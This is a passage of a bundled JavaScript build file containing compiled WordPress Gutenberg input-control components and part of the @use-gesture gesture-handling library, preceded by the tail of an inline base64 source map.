NzKCBnZXRTaXplQ29uZmlnKCBwcm9wcyApICk7XG59O1xuXG5jb25zdCBjdXN0b21QYWRkaW5ncyA9ICgge1xuXHRwYWRkaW5nSW5saW5lU3RhcnQsXG5cdHBhZGRpbmdJbmxpbmVFbmQsXG59OiBJbnB1dFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzKCB7IHBhZGRpbmdJbmxpbmVTdGFydCwgcGFkZGluZ0lubGluZUVuZCB9ICk7XG59O1xuXG5jb25zdCBkcmFnU3R5bGVzID0gKCB7IGlzRHJhZ2dpbmcsIGRyYWdDdXJzb3IgfTogSW5wdXRQcm9wcyApID0+IHtcblx0bGV0IGRlZmF1bHRBcnJvd1N0eWxlczogU2VyaWFsaXplZFN0eWxlcyB8IHVuZGVmaW5lZDtcblx0bGV0IGFjdGl2ZURyYWdDdXJzb3JTdHlsZXM6IFNlcmlhbGl6ZWRTdHlsZXMgfCB1bmRlZmluZWQ7XG5cblx0aWYgKCBpc0RyYWdnaW5nICkge1xuXHRcdGRlZmF1bHRBcnJvd1N0eWxlcyA9IGNzc2Bcblx0XHRcdGN1cnNvcjogJHsgZHJhZ0N1cnNvciB9O1xuXHRcdFx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cblx0XHRcdCY6Oi13ZWJraXQtb3V0ZXItc3Bpbi1idXR0b24sXG5cdFx0XHQmOjotd2Via2l0LWlubmVyLXNwaW4tYnV0dG9uIHtcblx0XHRcdFx0LXdlYmtpdC1hcHBlYXJhbmNlOiBub25lICFpbXBvcnRhbnQ7XG5cdFx0XHRcdG1hcmdpbjogMCAhaW1wb3J0YW50O1xuXHRcdFx0fVxuXHRcdGA7XG5cdH1cblxuXHRpZiAoIGlzRHJhZ2dpbmcgJiYgZHJhZ0N1cnNvciApIHtcblx0XHRhY3RpdmVEcmFnQ3Vyc29yU3R5bGVzID0gY3NzYFxuXHRcdFx0JjphY3RpdmUge1xuXHRcdFx0XHRjdXJzb3I6ICR7IGRyYWdDdXJzb3IgfTtcblx0XHRcdH1cblx0XHRgO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHQkeyBkZWZhdWx0QXJyb3dTdHlsZXMgfVxuXHRcdCR7IGFjdGl2ZURyYWdDdXJzb3JTdHlsZXMgfVxuXHRgO1xufTtcblxuLy8gVE9ETzogUmVzb2x2ZSBuZWVkIHRvIHVzZSAmJiYgdG8gaW5jcmVhc2Ugc3BlY2lmaWNpdHlcbi8vIGh0dHBzOi8vZ2l0aHViLmNvbS9Xb3JkUHJlc3MvZ3V0ZW5iZXJnL2lzc3Vlcy8xODQ4M1xuXG5leHBvcnQgY29uc3QgSW5wdXQgPSBzdHlsZWQuaW5wdXQ8IElucHV0UHJvcHMgPmBcblx0JiYmIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcblx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdGJvcmRlcjogbm9uZTtcblx0XHRib3gtc2hhZG93OiBub25lICFpbXBvcnRhbnQ7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cdFx0bWFyZ2luOiAwO1xuXHRcdG91dGxpbmU6IG5vbmU7XG5cdFx0d2lkdGg6IDEwMCU7XG5cblx0XHQkeyBkcmFnU3R5bGVzIH1cblx0XHQkeyBkaXNhYmxlZFN0eWxlcyB9XG5cdFx0JHsgZm9udFNpemVTdHlsZXMgfVxuXHRcdCR7IHNpemVTdHlsZXMgfVxuXHRcdCR7IGN1c3RvbVBhZGRpbmdzIH1cblxuXHRcdCY6Oi13ZWJraXQtaW5wdXQtcGxhY2Vob2xkZXIge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy51aS5kYXJrR3JheVBsYWNlaG9sZGVyIH07XG5cdFx0fVxuXG5cdFx0Jjo6LW1vei1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmOi1tcy1pbnB1dC1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmW3R5cGU9J2VtYWlsJ10sXG5cdFx0Jlt0eXBlPSd1cmwnXSB7XG5cdFx0XHQvKiBydGw6aWdub3JlICovXG5cdFx0XHRkaXJlY3Rpb246IGx0cjtcblx0XHR9XG5cdH1cbmA7XG5cbmNvbnN0IEJhc2VMYWJlbCA9IHN0eWxlZCggVGV4dCApPCB7IGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uIH0gPmBcblx0JiYmIHtcblx0XHQkeyBiYXNlTGFiZWxUeXBvZ3JhcGh5IH07XG5cblx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdHBhZGRpbmctdG9wOiAwO1xuXHRcdHBhZGRpbmctYm90dG9tOiAwO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0XHR6LWluZGV4OiAxO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgTGFiZWwgPSAoXG5cdHByb3BzOiBXb3JkUHJlc3NDb21wb25lbnRQcm9wczxcblx0XHR7IGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uOyBjaGlsZHJlbjogUmVhY3ROb2RlIH0sXG5cdFx0J2xhYmVsJyxcblx0XHRmYWxzZVxuXHQ+XG4pID0+IDxCYXNlTGFiZWwgeyAuLi5wcm9wcyB9IGFzPVwibGFiZWxcIiAvPjtcblxuZXhwb3J0IGNvbnN0IExhYmVsV3JhcHBlciA9IHN0eWxlZCggRmxleEl0ZW0gKWBcblx0bWF4LXdpZHRoOiBjYWxjKCAxMDAlIC0gMTBweCApO1xuYDtcblxuY29uc3QgcHJlZml4U3VmZml4V3JhcHBlclN0eWxlcyA9ICgge1xuXHR2YXJpYW50ID0gJ2RlZmF1bHQnLFxuXHRzaXplLFxuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdGlzUHJlZml4LFxufTogUHJlZml4U3VmZml4V3JhcHBlclByb3BzICYgeyBpc1ByZWZpeD86IGJvb2xlYW4gfSApID0+IHtcblx0Y29uc3QgeyBwYWRkaW5nTGVmdDogcGFkZGluZyB9ID0gZ2V0U2l6ZUNvbmZpZygge1xuXHRcdGlucHV0U2l6ZTogc2l6ZSxcblx0XHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdH0gKTtcblxuXHRjb25zdCBwYWRkaW5nUHJvcGVydHkgPSBpc1ByZWZpeFxuXHRcdD8gJ3BhZGRpbmdJbmxpbmVTdGFydCdcblx0XHQ6ICdwYWRkaW5nSW5saW5lRW5kJztcblxuXHRpZiAoIHZhcmlhbnQgPT09ICdkZWZhdWx0JyApIHtcblx0XHRyZXR1cm4gY3NzKCB7XG5cdFx0XHRbIHBhZGRpbmdQcm9wZXJ0eSBdOiBwYWRkaW5nLFxuXHRcdH0gKTtcblx0fVxuXG5cdC8vIElmIHZhcmlhbnQgaXMgJ2ljb24nIG9yICdjb250cm9sJ1xuXHRyZXR1cm4gY3NzKCB7XG5cdFx0ZGlzcGxheTogJ2ZsZXgnLFxuXHRcdFsgcGFkZGluZ1Byb3BlcnR5IF06IHBhZGRpbmcgLSA0LFxuXHR9ICk7XG59O1xuXG5leHBvcnQgY29uc3QgUHJlZml4U3VmZml4V3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdCR7IHByZWZpeFN1ZmZpeFdyYXBwZXJTdHlsZXMgfVxuYDtcbiJdfQ== */"));
24678
24679 // packages/components/build-module/input-control/backdrop.mjs
24680 var import_jsx_runtime87 = __toESM(require_jsx_runtime(), 1);
24681 function Backdrop({
24682 disabled = false,
24683 isBorderless = false
24684 }) {
24685 return /* @__PURE__ */ (0, import_jsx_runtime87.jsx)(BackdropUI, {
24686 "aria-hidden": "true",
24687 className: "components-input-control__backdrop",
24688 disabled,
24689 isBorderless
24690 });
24691 }
24692 var MemoizedBackdrop = (0, import_element26.memo)(Backdrop);
24693 var backdrop_default = MemoizedBackdrop;
24694
24695 // packages/components/build-module/input-control/label.mjs
24696 var import_jsx_runtime88 = __toESM(require_jsx_runtime(), 1);
24697 function Label2({
24698 children,
24699 hideLabelFromVision,
24700 htmlFor,
24701 ...props
24702 }) {
24703 if (!children) {
24704 return null;
24705 }
24706 if (hideLabelFromVision) {
24707 return /* @__PURE__ */ (0, import_jsx_runtime88.jsx)(component_default2, {
24708 as: "label",
24709 htmlFor,
24710 children
24711 });
24712 }
24713 return /* @__PURE__ */ (0, import_jsx_runtime88.jsx)(LabelWrapper, {
24714 children: /* @__PURE__ */ (0, import_jsx_runtime88.jsx)(Label, {
24715 htmlFor,
24716 ...props,
24717 children
24718 })
24719 });
24720 }
24721
24722 // packages/components/build-module/utils/use-deprecated-props.mjs
24723 function useDeprecated36pxDefaultSizeProp(props) {
24724 const {
24725 __next36pxDefaultSize,
24726 __next40pxDefaultSize,
24727 ...otherProps
24728 } = props;
24729 return {
24730 ...otherProps,
24731 __next40pxDefaultSize: __next40pxDefaultSize ?? __next36pxDefaultSize
24732 };
24733 }
24734
24735 // packages/components/build-module/input-control/input-base.mjs
24736 var import_jsx_runtime89 = __toESM(require_jsx_runtime(), 1);
24737 function useUniqueId(idProp) {
24738 const instanceId = (0, import_compose3.useInstanceId)(InputBase);
24739 const id3 = `input-base-control-${instanceId}`;
24740 return idProp || id3;
24741 }
24742 function getUIFlexProps(labelPosition) {
24743 const props = {};
24744 switch (labelPosition) {
24745 case "top":
24746 props.direction = "column";
24747 props.expanded = false;
24748 props.gap = 0;
24749 break;
24750 case "bottom":
24751 props.direction = "column-reverse";
24752 props.expanded = false;
24753 props.gap = 0;
24754 break;
24755 case "edge":
24756 props.justify = "space-between";
24757 break;
24758 }
24759 return props;
24760 }
24761 function InputBase(props, ref) {
24762 const {
24763 __next40pxDefaultSize,
24764 __unstableInputWidth,
24765 children,
24766 className: className2,
24767 disabled = false,
24768 hideLabelFromVision = false,
24769 labelPosition,
24770 id: idProp,
24771 isBorderless = false,
24772 label,
24773 prefix: prefix2,
24774 size: size3 = "default",
24775 suffix,
24776 ...restProps
24777 } = useDeprecated36pxDefaultSizeProp(useContextSystem(props, "InputBase"));
24778 const id3 = useUniqueId(idProp);
24779 const hideLabel = hideLabelFromVision || !label;
24780 const prefixSuffixContextValue = (0, import_element27.useMemo)(() => {
24781 return {
24782 InputControlPrefixWrapper: {
24783 __next40pxDefaultSize,
24784 size: size3
24785 },
24786 InputControlSuffixWrapper: {
24787 __next40pxDefaultSize,
24788 size: size3
24789 }
24790 };
24791 }, [__next40pxDefaultSize, size3]);
24792 return (
24793 // @ts-expect-error The `direction` prop from Flex (FlexDirection) conflicts with legacy SVGAttributes `direction` (string) that come from React intrinsic prop definitions.
24794 /* @__PURE__ */ (0, import_jsx_runtime89.jsxs)(Root, {
24795 ...restProps,
24796 ...getUIFlexProps(labelPosition),
24797 className: className2,
24798 gap: 2,
24799 ref,
24800 children: [/* @__PURE__ */ (0, import_jsx_runtime89.jsx)(Label2, {
24801 className: "components-input-control__label",
24802 hideLabelFromVision,
24803 labelPosition,
24804 htmlFor: id3,
24805 children: label
24806 }), /* @__PURE__ */ (0, import_jsx_runtime89.jsxs)(Container, {
24807 __unstableInputWidth,
24808 className: "components-input-control__container",
24809 disabled,
24810 hideLabel,
24811 labelPosition,
24812 children: [/* @__PURE__ */ (0, import_jsx_runtime89.jsxs)(ContextSystemProvider, {
24813 value: prefixSuffixContextValue,
24814 children: [prefix2 && /* @__PURE__ */ (0, import_jsx_runtime89.jsx)(Prefix, {
24815 className: "components-input-control__prefix",
24816 children: prefix2
24817 }), children, suffix && /* @__PURE__ */ (0, import_jsx_runtime89.jsx)(Suffix, {
24818 className: "components-input-control__suffix",
24819 children: suffix
24820 })]
24821 }), /* @__PURE__ */ (0, import_jsx_runtime89.jsx)(backdrop_default, {
24822 disabled,
24823 isBorderless
24824 })]
24825 })]
24826 })
24827 );
24828 }
24829 var input_base_default = contextConnect(InputBase, "InputBase");
24830
24831 // node_modules/@use-gesture/core/dist/maths-0ab39ae9.esm.js
24832 function clamp3(v3, min3, max3) {
24833 return Math.max(min3, Math.min(v3, max3));
24834 }
24835 var V = {
24836 toVector(v3, fallback) {
24837 if (v3 === void 0) v3 = fallback;
24838 return Array.isArray(v3) ? v3 : [v3, v3];
24839 },
24840 add(v1, v22) {
24841 return [v1[0] + v22[0], v1[1] + v22[1]];
24842 },
24843 sub(v1, v22) {
24844 return [v1[0] - v22[0], v1[1] - v22[1]];
24845 },
24846 addTo(v1, v22) {
24847 v1[0] += v22[0];
24848 v1[1] += v22[1];
24849 },
24850 subTo(v1, v22) {
24851 v1[0] -= v22[0];
24852 v1[1] -= v22[1];
24853 }
24854 };
24855 function rubberband(distance2, dimension, constant) {
24856 if (dimension === 0 || Math.abs(dimension) === Infinity) return Math.pow(distance2, constant * 5);
24857 return distance2 * dimension * constant / (dimension + constant * distance2);
24858 }
24859 function rubberbandIfOutOfBounds(position2, min3, max3, constant = 0.15) {
24860 if (constant === 0) return clamp3(position2, min3, max3);
24861 if (position2 < min3) return -rubberband(min3 - position2, max3 - min3, constant) + min3;
24862 if (position2 > max3) return +rubberband(position2 - max3, max3 - min3, constant) + max3;
24863 return position2;
24864 }
24865 function computeRubberband(bounds, [Vx, Vy], [Rx, Ry]) {
24866 const [[X0, X1], [Y0, Y1]] = bounds;
24867 return [rubberbandIfOutOfBounds(Vx, X0, X1, Rx), rubberbandIfOutOfBounds(Vy, Y0, Y1, Ry)];
24868 }
24869
24870 // node_modules/@use-gesture/core/dist/actions-fe213e88.esm.js
24871 function _toPrimitive(input, hint) {
24872 if (typeof input !== "object" || input === null) return input;
24873 var prim = input[Symbol.toPrimitive];
24874 if (prim !== void 0) {
24875 var res = prim.call(input, hint || "default");
24876 if (typeof res !== "object") return res;
24877 throw new TypeError("@@toPrimitive must return a primitive value.");
24878 }
24879 return (hint === "string" ? String : Number)(input);
24880 }
24881 function _toPropertyKey(arg) {
24882 var key = _toPrimitive(arg, "string");
24883 return typeof key === "symbol" ? key : String(key);
24884 }
24885 function _defineProperty(obj, key, value) {
24886 key = _toPropertyKey(key);
24887 if (key in obj) {
24888 Object.defineProperty(obj, key, {
24889 value,
24890 enumerable: true,
24891 configurable: true,
24892 writable: true
24893 });
24894 } else {
24895 obj[key] = value;
24896 }
24897 return obj;
24898 }
24899 function ownKeys(e3, r4) {
24900 var t4 = Object.keys(e3);
24901 if (Object.getOwnPropertySymbols) {
24902 var o4 = Object.getOwnPropertySymbols(e3);
24903 r4 && (o4 = o4.filter(function(r5) {
24904 return Object.getOwnPropertyDescriptor(e3, r5).enumerable;
24905 })), t4.push.apply(t4, o4);
24906 }
24907 return t4;
24908 }
24909 function _objectSpread2(e3) {
24910 for (var r4 = 1; r4 < arguments.length; r4++) {
24911 var t4 = null != arguments[r4] ? arguments[r4] : {};
24912 r4 % 2 ? ownKeys(Object(t4), true).forEach(function(r5) {
24913 _defineProperty(e3, r5, t4[r5]);
24914 }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e3, Object.getOwnPropertyDescriptors(t4)) : ownKeys(Object(t4)).forEach(function(r5) {
24915 Object.defineProperty(e3, r5, Object.getOwnPropertyDescriptor(t4, r5));
24916 });
24917 }
24918 return e3;
24919 }
24920 var EVENT_TYPE_MAP = {
24921 pointer: {
24922 start: "down",
24923 change: "move",
24924 end: "up"
24925 },
24926 mouse: {
24927 start: "down",
24928 change: "move",
24929 end: "up"
24930 },
24931 touch: {
24932 start: "start",
24933 change: "move",
24934 end: "end"
24935 },
24936 gesture: {
24937 start: "start",
24938 change: "change",
24939 end: "end"
24940 }
24941 };
24942 function capitalize(string) {
24943 if (!string) return "";
24944 return string[0].toUpperCase() + string.slice(1);
24945 }
24946 var actionsWithoutCaptureSupported = ["enter", "leave"];
24947 function hasCapture(capture = false, actionKey) {
24948 return capture && !actionsWithoutCaptureSupported.includes(actionKey);
24949 }
24950 function toHandlerProp(device, action = "", capture = false) {
24951 const deviceProps = EVENT_TYPE_MAP[device];
24952 const actionKey = deviceProps ? deviceProps[action] || action : action;
24953 return "on" + capitalize(device) + capitalize(actionKey) + (hasCapture(capture, actionKey) ? "Capture" : "");
24954 }
24955 var pointerCaptureEvents = ["gotpointercapture", "lostpointercapture"];
24956 function parseProp(prop) {
24957 let eventKey = prop.substring(2).toLowerCase();
24958 const passive = !!~eventKey.indexOf("passive");
24959 if (passive) eventKey = eventKey.replace("passive", "");
24960 const captureKey = pointerCaptureEvents.includes(eventKey) ? "capturecapture" : "capture";
24961 const capture = !!~eventKey.indexOf(captureKey);
24962 if (capture) eventKey = eventKey.replace("capture", "");
24963 return {
24964 device: eventKey,
24965 capture,
24966 passive
24967 };
24968 }
24969 function toDomEventType(device, action = "") {
24970 const deviceProps = EVENT_TYPE_MAP[device];
24971 const actionKey = deviceProps ? deviceProps[action] || action : action;
24972 return device + actionKey;
24973 }
24974 function isTouch(event) {
24975 return "touches" in event;
24976 }
24977 function getPointerType(event) {
24978 if (isTouch(event)) return "touch";
24979 if ("pointerType" in event) return event.pointerType;
24980 return "mouse";
24981 }
24982 function getCurrentTargetTouchList(event) {
24983 return Array.from(event.touches).filter((e3) => {
24984 var _event$currentTarget, _event$currentTarget$;
24985 return e3.target === event.currentTarget || ((_event$currentTarget = event.currentTarget) === null || _event$currentTarget === void 0 || (_event$currentTarget$ = _event$currentTarget.contains) === null || _event$currentTarget$ === void 0 ? void 0 : _event$currentTarget$.call(_event$currentTarget, e3.target));
24986 });
24987 }
24988 function getTouchList(event) {
24989 return event.type === "touchend" || event.type === "touchcancel" ? event.changedTouches : event.targetTouches;
24990 }
24991 function getValueEvent(event) {
24992 return isTouch(event) ? getTouchList(event)[0] : event;
24993 }
24994 function touchIds(event) {
24995 return getCurrentTargetTouchList(event).map((touch) => touch.identifier);
24996 }
24997 function pointerId(event) {
24998 const valueEvent = getValueEvent(event);
24999 return isTouch(event) ? valueEvent.identifier : valueEvent.pointerId;
25000 }
25001 function pointerValues(event) {
25002 const valueEvent = getValueEvent(event);
25003 return [valueEvent.clientX, valueEvent.clientY];
25004 }
25005 function getEventDetails(event) {
25006 const payload = {};
25007 if ("buttons" in event) payload.buttons = event.buttons;
25008 if ("shiftKey" in event) {
25009 const {
25010 shiftKey,
25011 altKey,
25012 metaKey,
25013 ctrlKey
25014 } = event;
25015 Object.assign(payload, {
25016 shiftKey,
25017 altKey,
25018 metaKey,
25019 ctrlKey
25020 });
25021 }
25022 return payload;
25023 }
25024 function call(v3, ...args) {
25025 if (typeof v3 === "function") {
25026 return v3(...args);
25027 } else {
25028 return v3;
25029 }
25030 }
25031 function noop3() {
25032 }
25033 function chain2(...fns) {
25034 if (fns.length === 0) return noop3;
25035 if (fns.length === 1) return fns[0];
25036 return function() {
25037 let result;
25038 for (const fn of fns) {
25039 result = fn.apply(this, arguments) || result;
25040 }
25041 return result;
25042 };
25043 }
25044 function assignDefault(value, fallback) {
25045 return Object.assign({}, fallback, value || {});
25046 }
25047 var BEFORE_LAST_KINEMATICS_DELAY = 32;
25048 var Engine = class {
25049 constructor(ctrl, args, key) {
25050 this.ctrl = ctrl;
25051 this.args = args;
25052 this.key = key;
25053 if (!this.state) {
25054 this.state = {};
25055 this.computeValues([0, 0]);
25056 this.computeInitial();
25057 if (this.init) this.init();
25058 this.reset();
25059 }
25060 }
25061 get state() {
25062 return this.ctrl.state[this.key];
25063 }
25064 set state(state) {
25065 this.ctrl.state[this.key] = state;
25066 }
25067 get shared() {
25068 return this.ctrl.state.shared;
25069 }
25070 get eventStore() {
25071 return this.ctrl.gestureEventStores[this.key];
25072 }
25073 get timeoutStore() {
25074 return this.ctrl.gestureTimeoutStores[this.key];
25075 }
25076 get config() {
25077 return this.ctrl.config[this.key];
25078 }
25079 get sharedConfig() {
25080 return this.ctrl.config.shared;
25081 }
25082 get handler() {
25083 return this.ctrl.handlers[this.key];
25084 }
25085 reset() {
25086 const {
25087 state,
25088 shared,
25089 ingKey,
25090 args
25091 } = this;
25092 shared[ingKey] = state._active = state.active = state._blocked = state._force = false;
25093 state._step = [false, false];
25094 state.intentional = false;
25095 state._movement = [0, 0];
25096 state._distance = [0, 0];
25097 state._direction = [0, 0];
25098 state._delta = [0, 0];
25099 state._bounds = [[-Infinity, Infinity], [-Infinity, Infinity]];
25100 state.args = args;
25101 state.axis = void 0;
25102 state.memo = void 0;
25103 state.elapsedTime = state.timeDelta = 0;
25104 state.direction = [0, 0];
25105 state.distance = [0, 0];
25106 state.overflow = [0, 0];
25107 state._movementBound = [false, false];
25108 state.velocity = [0, 0];
25109 state.movement = [0, 0];
25110 state.delta = [0, 0];
25111 state.timeStamp = 0;
25112 }
25113 start(event) {
25114 const state = this.state;
25115 const config = this.config;
25116 if (!state._active) {
25117 this.reset();
25118 this.computeInitial();
25119 state._active = true;
25120 state.target = event.target;
25121 state.currentTarget = event.currentTarget;
25122 state.lastOffset = config.from ? call(config.from, state) : state.offset;
25123 state.offset = state.lastOffset;
25124 state.startTime = state.timeStamp = event.timeStamp;
25125 }
25126 }
25127 computeValues(values) {
25128 const state = this.state;
25129 state._values = values;
25130 state.values = this.config.transform(values);
25131 }
25132 computeInitial() {
25133 const state = this.state;
25134 state._initial = state._values;
25135 state.initial = state.values;
25136 }
25137 compute(event) {
25138 const {
25139 state,
25140 config,
25141 shared
25142 } = this;
25143 state.args = this.args;
25144 let dt = 0;
25145 if (event) {
25146 state.event = event;
25147 if (config.preventDefault && event.cancelable) state.event.preventDefault();
25148 state.type = event.type;
25149 shared.touches = this.ctrl.pointerIds.size || this.ctrl.touchIds.size;
25150 shared.locked = !!document.pointerLockElement;
25151 Object.assign(shared, getEventDetails(event));
25152 shared.down = shared.pressed = shared.buttons % 2 === 1 || shared.touches > 0;
25153 dt = event.timeStamp - state.timeStamp;
25154 state.timeStamp = event.timeStamp;
25155 state.elapsedTime = state.timeStamp - state.startTime;
25156 }
25157 if (state._active) {
25158 const _absoluteDelta = state._delta.map(Math.abs);
25159 V.addTo(state._distance, _absoluteDelta);
25160 }
25161 if (this.axisIntent) this.axisIntent(event);
25162 const [_m0, _m1] = state._movement;
25163 const [t0, t1] = config.threshold;
25164 const {
25165 _step,
25166 values
25167 } = state;
25168 if (config.hasCustomTransform) {
25169 if (_step[0] === false) _step[0] = Math.abs(_m0) >= t0 && values[0];
25170 if (_step[1] === false) _step[1] = Math.abs(_m1) >= t1 && values[1];
25171 } else {
25172 if (_step[0] === false) _step[0] = Math.abs(_m0) >= t0 && Math.sign(_m0) * t0;
25173 if (_step[1] === false) _step[1] = Math.abs(_m1) >= t1 && Math.sign(_m1) * t1;
25174 }
25175 state.intentional = _step[0] !== false || _step[1] !== false;
25176 if (!state.intentional) return;
25177 const movement = [0, 0];
25178 if (config.hasCustomTransform) {
25179 const [v0, v1] = values;
25180 movement[0] = _step[0] !== false ? v0 - _step[0] : 0;
25181 movement[1] = _step[1] !== false ? v1 - _step[1] : 0;
25182 } else {
25183 movement[0] = _step[0] !== false ? _m0 - _step[0] : 0;
25184 movement[1] = _step[1] !== false ? _m1 - _step[1] : 0;
25185 }
25186 if (this.restrictToAxis && !state._blocked) this.restrictToAxis(movement);
25187 const previousOffset = state.offset;
25188 const gestureIsActive = state._active && !state._blocked || state.active;
25189 if (gestureIsActive) {
25190 state.first = state._active && !state.active;
25191 state.last = !state._active && state.active;
25192 state.active = shared[this.ingKey] = state._active;
25193 if (event) {
25194 if (state.first) {
25195 if ("bounds" in config) state._bounds = call(config.bounds, state);
25196 if (this.setup) this.setup();
25197 }
25198 state.movement = movement;
25199 this.computeOffset();
25200 }
25201 }
25202 const [ox, oy] = state.offset;
25203 const [[x0, x1], [y0, y1]] = state._bounds;
25204 state.overflow = [ox < x0 ? -1 : ox > x1 ? 1 : 0, oy < y0 ? -1 : oy > y1 ? 1 : 0];
25205 state._movementBound[0] = state.overflow[0] ? state._movementBound[0] === false ? state._movement[0] : state._movementBound[0] : false;
25206 state._movementBound[1] = state.overflow[1] ? state._movementBound[1] === false ? state._movement[1] : state._movementBound[1] : false;
25207 const rubberband2 = state._active ? config.rubberband || [0, 0] : [0, 0];
25208 state.offset = computeRubberband(state._bounds, state.offset, rubberband2);
25209 state.delta = V.sub(state.offset, previousOffset);
25210 this.computeMovement();
25211 if (gestureIsActive && (!state.last || dt > BEFORE_LAST_KINEMATICS_DELAY)) {
25212 state.delta = V.sub(state.offset, previousOffset);
25213 const absoluteDelta = state.delta.map(Math.abs);
25214 V.addTo(state.distance, absoluteDelta);
25215 state.direction = state.delta.map(Math.sign);
25216 state._direction = state._delta.map(Math.sign);
25217 if (!state.first && dt > 0) {
25218 state.velocity = [absoluteDelta[0] / dt, absoluteDelta[1] / dt];
25219 state.timeDelta = dt;
25220 }
25221 }
25222 }
25223 emit() {
25224 const state = this.state;
25225 const shared = this.shared;
25226 const config = this.config;
25227 if (!state._active) this.clean();
25228 if ((state._blocked || !state.intentional) && !state._force && !config.triggerAllEvents) return;
25229 const memo6 = this.handler(_objectSpread2(_objectSpread2(_objectSpread2({}, shared), state), {}, {
25230 [this.aliasKey]: state.values
25231 }));
25232 if (memo6 !== void 0) state.memo = memo6;
25233 }
25234 clean() {
25235 this.eventStore.clean();
25236 this.timeoutStore.clean();
25237 }
25238 };
25239 function selectAxis([dx, dy], threshold) {
25240 const absDx = Math.abs(dx);
25241 const absDy = Math.abs(dy);
25242 if (absDx > absDy && absDx > threshold) {
25243 return "x";
25244 }
25245 if (absDy > absDx && absDy > threshold) {
25246 return "y";
25247 }
25248 return void 0;
25249 }
25250 var CoordinatesEngine = class extends Engine {
25251 constructor(...args) {
25252 super(...args);
25253 _defineProperty(this, "aliasKey", "xy");
25254 }
25255 reset() {
25256 super.reset();
25257 this.state.axis = void 0;
25258 }
25259 init() {
25260 this.state.offset = [0, 0];
25261 this.state.lastOffset = [0, 0];
25262 }
25263 computeOffset() {
25264 this.state.offset = V.add(this.state.lastOffset, this.state.movement);
25265 }
25266 computeMovement() {
25267 this.state.movement = V.sub(this.state.offset, this.state.lastOffset);
25268 }
25269 axisIntent(event) {
25270 const state = this.state;
25271 const config = this.config;
25272 if (!state.axis && event) {
25273 const threshold = typeof config.axisThreshold === "object" ? config.axisThreshold[getPointerType(event)] : config.axisThreshold;
25274 state.axis = selectAxis(state._movement, threshold);
25275 }
25276 state._blocked = (config.lockDirection || !!config.axis) && !state.axis || !!config.axis && config.axis !== state.axis;
25277 }
25278 restrictToAxis(v3) {
25279 if (this.config.axis || this.config.lockDirection) {
25280 switch (this.state.axis) {
25281 case "x":
25282 v3[1] = 0;
25283 break;
25284 case "y":
25285 v3[0] = 0;
25286 break;
25287 }
25288 }
25289 }
25290 };
25291 var identity2 = (v3) => v3;
25292 var DEFAULT_RUBBERBAND = 0.15;
25293 var commonConfigResolver = {
25294 enabled(value = true) {
25295 return value;
25296 },
25297 eventOptions(value, _k, config) {
25298 return _objectSpread2(_objectSpread2({}, config.shared.eventOptions), value);
25299 },
25300 preventDefault(value = false) {
25301 return value;
25302 },
25303 triggerAllEvents(value = false) {
25304 return value;
25305 },
25306 rubberband(value = 0) {
25307 switch (value) {
25308 case true:
25309 return [DEFAULT_RUBBERBAND, DEFAULT_RUBBERBAND];
25310 case false:
25311 return [0, 0];
25312 default:
25313 return V.toVector(value);
25314 }
25315 },
25316 from(value) {
25317 if (typeof value === "function") return value;
25318 if (value != null) return V.toVector(value);
25319 },
25320 transform(value, _k, config) {
25321 const transform = value || config.shared.transform;
25322 this.hasCustomTransform = !!transform;
25323 if (true) {
25324 const originalTransform = transform || identity2;
25325 return (v3) => {
25326 const r4 = originalTransform(v3);
25327 if (!isFinite(r4[0]) || !isFinite(r4[1])) {
25328 console.warn(`[@use-gesture]: config.transform() must produce a valid result, but it was: [${r4[0]},${[1]}]`);
25329 }
25330 return r4;
25331 };
25332 }
25333 return transform || identity2;
25334 },
25335 threshold(value) {
25336 return V.toVector(value, 0);
25337 }
25338 };
25339 if (true) {
25340 Object.assign(commonConfigResolver, {
25341 domTarget(value) {
25342 if (value !== void 0) {
25343 throw Error(`[@use-gesture]: \`domTarget\` option has been renamed to \`target\`.`);
25344 }
25345 return NaN;
25346 },
25347 lockDirection(value) {
25348 if (value !== void 0) {
25349 throw Error(`[@use-gesture]: \`lockDirection\` option has been merged with \`axis\`. Use it as in \`{ axis: 'lock' }\``);
25350 }
25351 return NaN;
25352 },
25353 initial(value) {
25354 if (value !== void 0) {
25355 throw Error(`[@use-gesture]: \`initial\` option has been renamed to \`from\`.`);
25356 }
25357 return NaN;
25358 }
25359 });
25360 }
25361 var DEFAULT_AXIS_THRESHOLD = 0;
25362 var coordinatesConfigResolver = _objectSpread2(_objectSpread2({}, commonConfigResolver), {}, {
25363 axis(_v, _k, {
25364 axis
25365 }) {
25366 this.lockDirection = axis === "lock";
25367 if (!this.lockDirection) return axis;
25368 },
25369 axisThreshold(value = DEFAULT_AXIS_THRESHOLD) {
25370 return value;
25371 },
25372 bounds(value = {}) {
25373 if (typeof value === "function") {
25374 return (state) => coordinatesConfigResolver.bounds(value(state));
25375 }
25376 if ("current" in value) {
25377 return () => value.current;
25378 }
25379 if (typeof HTMLElement === "function" && value instanceof HTMLElement) {
25380 return value;
25381 }
25382 const {
25383 left = -Infinity,
25384 right = Infinity,
